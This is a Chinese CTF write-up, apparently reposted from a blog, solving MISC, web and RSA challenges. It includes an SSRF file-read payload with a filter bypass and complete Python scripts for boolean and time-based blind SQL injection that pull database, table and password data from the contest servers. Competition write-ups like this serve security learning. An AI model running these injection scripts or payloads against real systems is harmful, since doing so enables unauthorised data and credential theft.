前言
这次比赛我队伍就排第19名,感激队友们直接把我带飞了,真的很感激我队友那天晚上一声不出给我解开了两道web题,真的让我惊讶了,真的太强了,但是由于我这次没注意到细节,给队友拖后腿了,忘记了虚拟机之前移除了声卡和调了静音,这样MISC第三题一血就这样离我而去了。。。。呜呜呜
MISC题目附件链接:https://pan.baidu.com/s/1a3PvOZYkowYjOErhpk9z9w 密码:june
MISC——签到题
查看源码,有提示/?url,猜测是ssrf,利用file协议读取/www/html/index.php源码,发现过滤了flag,可以用二次编码直接绕过读取flag
?url=file:///%2566lag
MISC——Hi_433MHZ
打开附件是一个后缀名为s8的一个文件,然后用Audacity软件——选择文件——导入——原始数据把题目附件导入进去,放大发现类似莫斯密码的信号。
.--..--.. .--.--... .--....-. .--..---. .----.--. ..--..-.. ..--.-.-. .--...--. ..--..-.. ..--...-. .--...-.. ..--..... .--..-... ..-.--.-. ..--.--.. .--....-. ..--...-. ..--...-. ..-.--.-. ..--.-... ..--..--. ..--...-. ..--..-.. ..-.--.-. ..---..-. ..--.---. ..--...-. .--...-.. ..-.--.-. ..--.-... ..--..-.. ..---.... .--..-... ..--..... ..--...-. .--...--. .--..-... .--...--. ..--.-.-. ..--..--. ..--.-... .-----.-.
然后把信号都手工转换成点和横线,然后把它们都转换成二进制,点替换为0,横线替换为1,然后2进制转ASCII码得出flag
flag{25c21b0d-6a11-4312-971b-428d01cdc534}
MISC——FM
题目给的附件是一个iq格式的文件,然后通过题目附件名称给的提示是rate=2MHZ,
87-108MHZ有点东西,于是就找了很久资料,发现有一个工具gqrx-sdr是专门分析FM调频的,先安装这个软件在kali,然后打开软件设置这些参数,写入文件路径,和Bandwidth设置2MHZ,接着在里面的右边mode模式设置WFM(mono),然后就可以听到出题人在读flag,这时只要慢慢听就能听出来flag
flag{82c83416-dadc-4947-80df-b84852b8f35d}
WEB——ezsql
fuzz使用bp跑了一波,发现ban了很多参数,ban: select if handler union prepare alter OUTFILE RENAME updatexml INFILE SHOW insert delete update sys,简直是无懈可击,把我会的都给ban了,真是得劲,但还是可以看看数据库的username=admin’AND/**/substr(VERSION(),1,6)=“8.0.22”#&password=gml666,gml666爆破出来的,竟然没有flag,所以老实才走的注入,通过截取判断得出版本8.0.22,正好有代替select的语法,就是8.0.19新出的table语句,虽然不如select强大,但是解这题够用了,最后经过不懈的手注测试,写出了脚本得出flag
import requests
url = "http://139.129.98.9:30003/login.php"
data = {
"username":"","password":"gml666"}
flag = ""
for i in range(1,43):
for j in r'flag{0123456789bcdehijkmnopqrstuvwxyz-}':
payload = f"admin'AND/**/ascii(substr((table/**/f11114g/**/limit/**/1,1),{i},1))={ord(j)}#"
data["username"] = payload
r = requests.post(url,data)
print (r.text)
if 'success' in r.text:
flag += j
print (flag)
break
flag{6a55e234-1ed0-455c-bbf3-6df6ddce9a57}
Web——"你能登陆成功吗”和” 你能登陆成功吗-Revenge”
点击网址看见登陆就能知道跟注入有关,可知为预期解,采用盲注。写个脚本直接开跑
注:第一题有非预期,两题脚本都一样就地址不一样
附上脚本
import requests
def database():
database = ""
for i in range(1, 100):
for j in r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-{}@._':
data["password"] = "admin'/**/AND/**/6489=(case/**/when(SUBSTR(current_database(),{},1)='{}')/**/then/**/(select/**/5666/**/FROM/**/pg_sleep(5))/**/else/**/0/**/end)--A".format(i, j)
r = requests.post(url,data)
time = r.elapsed.total_seconds()
if time > 5:
database += j
print(database)
break
def tables():
tables = ""
for i in range(1, 100):
for j in r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-{}@._':
data["password"] = "username=admin&password=admin'/**/AND/**/6489=(case/**/when(SUBSTR((SELECT/**/tablename/**/FROM/**/pg_tables/**/WHERE/**/schemaname/**/IN/**/('public')),{},1)='{}')/**/then/**/(select/**/5666/**/FROM/**/pg_sleep(5))/**/else/**/0/**/end)--A".format(i, j)
r = requests.post(url,data)
time = r.elapsed.total_seconds()
if time > 5:
tables += j
print(tables)
break
def password(url):
password = ""
for i in range(1, 100):
for j in r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-{}@._':
data["password"] = "username=admin&password=admin'/**/AND/**/6489=(case/**/when(SUBSTR((select/**/password/**/from/**/public.users),{},1)='{}')/**/then/**/(select/**/5666/**/FROM/**/pg_sleep(5))/**/else/**/0/**/end)--A".format(i, j)
r = requests.post(url,data)
time = r.elapsed.total_seconds()
if time > 5:
password += j
print (password)
break
url = "http://139.129.98.9:30007"
data = {
"username":"admin","password":""}
# database(url)
# tables(url)
password(url)
登陆第一题:flag{eb4aaa7f-1362-4f4c-9f5f-a7202518314b}
登陆第二题:flag{5f2561bb-685e-4b36-927b-89ec76fec285}
Crypto——EASYRSA
令人熟悉的rsa,打开附件后加密算法后,直接撸脚本开跑
附上脚本:
from gmpy2 import *
beta=11864389277042761216996641604675717452843530574016671576684180662096506094587545173005905433938758559675517932481818900399893444422743930613073261450555599
enc=10760807485718247466823893305767047250503197383143218026814141719093776781403513881079114556890534223832352132446445237573389249010880862460738448945011264928270648357652595432015646424427464523486856294998582949173459779764873664665361437483861277508734208729366952221351049574873831620714889674755106545281174797387906705765430764314845841490492038801926675266705606453163826755694482549401843247482172026764635778484644547733877083368527255145572732954216461334217963127783632702980064435718785556011795841651015143521512315148320334442235923393757396733821710592667519724592789856065414299022191871582955584644441117223
e=65537
n=17986052241518124152579698727005505088573670763293762110375836247355612011054569717338676781772224186355540833136105641118789391002684013237464006860953174190278718294774874590936823847040556879723368745745863499521381501281961534965719063185861101706333863256855553691578381034302217163536137697146370869852180388385732050177505306982196493799420954022912860262710497234529008765582379823928557307038782793649826879316617865012433973899266322533955187594070215597700782682186705964842947435512183808651329554499897644733096933800570431036589775974437965028894251544530715336418443795864241340792616415926241778326529055663
tip = (n-1)//(2*beta)
answer= tip - tip%beta
def solve(c1):
pq1 = (answer -c1* beta)*2*beta
d = invert(e,pq1)
flag = powmod(enc,d,n)
flag = int(flag)
flag = flag.to_bytes(512,byteorder = 'big', signed = False)
if b'flag' in flag:
print(flag)
exit()
for a1 in range(100,1<<12):
#print(a1)
solve(a1)
最后得flag
flag{21824349-25bb-4f7f-b551-f13d4abba2e2}
转载:https://blog.csdn.net/weixin_47598409/article/details/110846269